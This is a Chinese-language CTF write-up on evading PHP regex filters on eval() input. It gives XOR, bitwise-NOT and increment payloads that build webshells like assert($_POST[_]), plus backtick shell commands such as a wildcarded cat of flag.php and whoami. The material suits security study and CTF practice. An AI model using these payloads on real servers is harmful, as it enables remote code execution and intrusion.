ctf中 preg_match 繞過技術 | 無字母數字的webshell
例題
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>
解法1
異或繞過
使用異或繞過:可以使用各種特殊字符的異或構造出字母和數字
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
成功觸發命令命令執行:
payload:
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo
解法2
取反繞過
把getFlag取反然后URL編碼:
<?php
echo urlencode(~"getFlag");
輸出如下:
依據這個我們可以構造payload:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
解法3
其實個人認為解法3與解法2相似:
payload如下:
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
~ 在 {} 中執行了取反操作,所以 ${~"\xa0\xb8\xba\xab"}
取反相當於 $_GET
,拼接出了 $_GET['+']();
,傳入 +=getFlag() 從而執行了函數
解法4
還是異或的操作,只是進行了urlencode和加上了中文變量名。
payload如下:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
解法5
其實利用的還是異或吧,只是把變量名也是異或取得的。
payload如下:
?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();
本來結束了,師傅們tql,我繼續記錄一下:有時候有點懶得自己筆述,就直接用了師傅們的筆述了,簡單說明一下。
php中取反(~)的概念
來看一個漢字"和"
>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141
"和"的第三個字節的值為140[0x8c],取反的值為-141。
負數用十六進制表示,通常用的是補碼的方式表示。負數的補碼是它本身的值每位求反,最后再加一。141的16進制為0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
因此
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
兩個寫法性質一樣
結果會輸出: ss
腳本:
>>> def get(shell):
... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
... print(hexbit)
...
>>> get('phpinfo')
0x8f0x970x8f0x960x910x990x90
不用數字構造出數字
利用了PHP弱類型特性,true的值為1,故true+true==2。
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)
結果會輸出:2 1
在php中未定義的變量默認值為null,nullfalse0,所以我們能夠在不使用任何數字的情況下通過對未定義變量的自增操作來得到一個數字。
<?php
$_++;
print($_);
?>
結果會輸出:1
非字母、數字的字符異或出字母
不可打印字符,用url編碼表示。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
注明:由於其中包含%01等經過urlencode的字符,所以需要通過瀏覽器提交才可以生效。
非字母、數字的字符取反出字母
利用的是UTF-8編碼的某個漢字,將其中的某個字符取出來,取反為字母。一個漢字的utf8是三個字節,{2}表示第3個字節
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo "<br>";
print(~($____{$__}));
payload:
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
這里也有一種簡短的寫法\({~"\xa0\xb8\xba\xab"}它等於\)_GET。這里相當於直接把utf8編碼的某個字節提取出來統一進行取反。
php遞增/遞減運算符
這種方法很明顯的缺點就是需要大量的字符。
'a'++ => 'b','b'++ => 'c',我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。
數組(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為Array。再取這個字符串的第一個字母,就可以獲得'A'。
因為PHP函數是大小寫不敏感的,最終執行的是ASSERT($POST[]),無需獲取小寫a。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
不用數字和字母寫shell的實例
就是開頭寫的了。請從頭看,第一個案例就是這個。
不用數字,字母和下划線寫shell的實例
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
下划線都不給,這就很恐怖了。意味着不能定義變量,而且也構造不出來數字。不過在PHP的靈活性面前,問題不大。
這是一開始學長給的payload,+號必須加引號
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
51個字符太長了,所以這里可以用簡短的寫法
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
不過這樣不能成功。
學長給出了解釋:eval只能解析一遍代碼,所以如果寫的是a.b這樣的字符串拼接,就只會執行這個拼接,並不會去執行代碼
例如:
eval($_GET['b'])
url里面 b=phpinfo();
這時候相當於eval('phpinfo();')
eval($_GET['b'])
url里面b=$_GET[c]&c=phpinfo();
相當於eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag();
,也就是eval('$_GET['+'])
並不會執行getFlag();
正確的payload為:
${"`{{{"^"?<>/"}['+']();&+=getFlag
這里利用了${}
中的代碼是可以執行的特點,其實也就是可變變量。
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
?>
輸出:hello world
${$a}
,括號中的$a
是可以執行的,變成了hello。
payload中的{}也是這個原理,{}中用的是異或,^
在{}中被執行了,也就是上面講的"`{{{"^"?<>/"
執行了異或操作,相當於_GET
。
最后eva函數拼接出了字符串$_GET['+']()
;,然后傳入+=getFlag,最后執行了函數getFlag();
PHP是弱類型的語言,因此我們可以利用這個特點進行許多非常規的操作,也就是利用各種騷姿勢來達到同一個目的。不過隨着PHP版本的變化,php的一些特性也會變化,例如php5中assert是一個函數,但php7中,assert不再是函數,變成了一個語言結構(類似eval),不能再作為函數名動態執行代碼。因此我們要多熟悉php不同版本的差異。
不用數字字母下划線和$ getFlag
<?php
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>
看到題的瞬間竊喜,以為是原題,拿着payload各種試。以為題壞了,最后才看到多過濾了一個$,2333。瞬間感覺上面的東西都白學了。
payload:code=?><?=`/???/??? ????.???`?>
?>
閉合php文件開頭的<?php
,<?=
可以輸出
是短標簽, 是長標簽。在php的配置文件php.ini中有一個short_open_tag的值,開啟以后可以使用PHP的短標簽: 同時,只有開啟這個才可以使用 <?= 以代替 <? echo 。
這個配置默認是開啟的
還利用linux的通配符:/???/???通配/bin/cat ????.???通配flag.php
還有php中`符號可以執行系統命令
fl4g師傅的思考
windows中將if(preg_match(“/[A-Za-z0-9_\(]+/“,\)code))過濾修改,去除對大寫字母或小寫的過濾,由於windows對大小寫不敏感,可以在windows系統中嘗試執行任意代碼
http://127.0.0.1/test27.php?code=?><?=`whoami`?>
注明:哈哈,上面很多懶得寫,就直接賦值smile師傅的了。
推薦一篇文章:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html